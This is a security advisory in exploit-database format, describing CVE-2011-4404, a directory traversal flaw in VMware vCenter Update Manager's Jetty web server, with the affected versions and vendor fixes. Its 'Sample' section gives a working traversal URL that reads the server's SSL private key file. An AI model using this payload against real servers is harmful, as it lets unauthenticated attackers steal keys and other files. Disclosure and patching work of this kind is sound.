VMware - Update Manager Directory Traversal

# Exploit Title:VMware Update Manager Directory Traversal

# Date:18/11/2011

# Author: Alexey Sintsov

# Software Link: http://www.vmware.com/

# Version:2.0.2

# Tested on: Windows 2003 / vCenter Update Manager 4.1 U1

# CVE : CVE-2011-4404



DSECRG-11-042 VMware Update Manager - Directory Traversal





Application: VMware Update Manager

Versions Affected: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4.0 prior to Update 4

Vendor URL: http://vmware.com

Bugs: Directory Traversal File Read

CVE: CVE-2011-4404

CVSS2: 7.8

Exploits: YES

Reported: 06.06.2010

Vendor response: 06.06.2010

Date of Public Advisory: 18.11.2011

Authors: Alexey Sintsov

Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)



Description

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Directory Traversal vulnerability was found in Jetty web server that is used by VMware Update manager.



Details

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Directory Traversal vulnerability was found in Jetty web server that is used by VUM.

With this vulnerability, an non-authenticated attacker can read any file on the server (with rights of the process).



Sample

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http://<target>:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key





References

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http://dsecrg.com/pages/vul/show.php?id=342

http://www.vmware.com/security/advisories/VMSA-2011-0014.html





Fix Information

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Vendor make fix for this issue:

Fixed in Update Manager 5.0 Windows not affected

Fixed in Update Manager 4.1 Windows Update 2

Fixed in Update Manager 4.0 Windows Update 4



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